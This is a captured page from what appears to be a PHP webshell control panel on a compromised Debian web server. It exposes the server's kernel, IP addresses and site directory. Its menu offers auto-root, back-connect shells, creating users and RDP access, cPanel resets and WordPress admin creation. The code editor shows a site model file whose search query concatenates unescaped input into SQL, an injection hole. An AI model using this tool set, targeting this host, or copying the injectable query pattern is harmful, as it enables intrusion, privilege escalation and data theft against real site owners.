Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.119.118.151
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
leksykografia /
application /
models /
[ HOME SHELL ]
Name
Size
Permission
Action
DbTable
[ DIR ]
drwxr-xr-x
Dictionary.php
8.75
KB
-rw-r--r--
DictionaryBackground.php
2.74
KB
-rw-r--r--
DictionaryBackgroundMapper.php
2.87
KB
-rw-r--r--
DictionaryMapper.php
7.44
KB
-rw-r--r--
DictionaryType.php
1.85
KB
-rw-r--r--
DictionaryTypeMapper.php
1.81
KB
-rw-r--r--
DictionaryVocabularyRange.php
1.99
KB
-rw-r--r--
DictionaryVocabularyRangeDict....
1.87
KB
-rw-r--r--
DictionaryVocabularyRangeDictM...
2.12
KB
-rw-r--r--
DictionaryVocabularyRangeMappe...
2.24
KB
-rw-r--r--
Gallery.php
1.67
KB
-rw-r--r--
GalleryMapper.php
1.17
KB
-rw-r--r--
GalleryPhoto.php
1.68
KB
-rw-r--r--
GalleryPhotoMapper.php
1.14
KB
-rw-r--r--
Partner.php
2.27
KB
-rw-r--r--
PartnerMapper.php
2.24
KB
-rw-r--r--
PartnerType.php
1.56
KB
-rw-r--r--
PartnerTypeMapper.php
1.16
KB
-rw-r--r--
Product.php
6.21
KB
-rw-r--r--
ProductCategories.php
1.76
KB
-rw-r--r--
ProductCategoriesMapper.php
2.38
KB
-rw-r--r--
ProductCategory.php
1.57
KB
-rw-r--r--
ProductCategoryMapper.php
1.59
KB
-rw-r--r--
ProductMapper.php
8.2
KB
-rw-r--r--
ProductPartner.php
2.46
KB
-rw-r--r--
ProductPartnerMapper.php
2.51
KB
-rw-r--r--
ProductPartners.php
1.96
KB
-rw-r--r--
ProductPartnersMapper.php
2.57
KB
-rw-r--r--
ProductRegister.php
5.11
KB
-rw-r--r--
ProductRegisterMapper.php
8.65
KB
-rw-r--r--
ProductRegisterUser.php
3.19
KB
-rw-r--r--
ProductRegisterUserMapper.php
6.79
KB
-rw-r--r--
ProductRegisterUserSession.php
1.97
KB
-rw-r--r--
ProductRegisterUserSessionMapp...
6.13
KB
-rw-r--r--
ProductSpeaker.php
3.11
KB
-rw-r--r--
ProductSpeakerMapper.php
3.51
KB
-rw-r--r--
ProductType.php
2.25
KB
-rw-r--r--
ProductTypeMapper.php
1.81
KB
-rw-r--r--
Static.php
1.92
KB
-rw-r--r--
StaticMapper.php
1.78
KB
-rw-r--r--
Vote.php
2.88
KB
-rw-r--r--
VoteMapper.php
2.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StaticMapper.php
<?php class Application_Model_StaticMapper { protected $_dbTable; public function setDbTable($dbTable) { if (is_string($dbTable)) { $dbTable = new $dbTable(); } if (!$dbTable instanceof Zend_Db_Table_Abstract) { throw new Exception('Invalid table data gateway provided'); } $this->_dbTable = $dbTable; return $this; } public function getDbTable() { if (null === $this->_dbTable) { $this->setDbTable('Application_Model_DbTable_Static'); } return $this->_dbTable; } public function save(Application_Model_Static $static) { $data = array( 'description1' => $static->getDescription1(), 'description2' => $static->getDescription2(), ); if (null === ($id = $static->getId())) { unset($data['id']); return $this->getDbTable()->insert($data); } else { return $this->getDbTable()->update($data, array('id = ?' => $id)); } } public function find($id, Application_Model_Static $static) { $result = $this->getDbTable()->find($id); if (0 == count($result)) { return false; } $row = $result->current(); $static->setId($row->id) ->setDescription1($row->description1) ->setDescription2($row->description2); } public function fetchAll($options = array()) { $select = $this->getDbTable()->select(); $select->order('id asc'); if(isset($options['search'])) { $select->where('(description1 LIKE "%'.$options['search'].'%"') ->orWhere('description2 LIKE "%'.$options['search'].'%")'); } $resultSet = $this->getDbTable()->fetchAll($select); $entries = array(); foreach ($resultSet as $row) { $static = new Application_Model_Static(); $static->setId($row->id) ->setDescription1($row->description1) ->setDescription2($row->description2); $entries[] = $static; } return $entries; } }
Close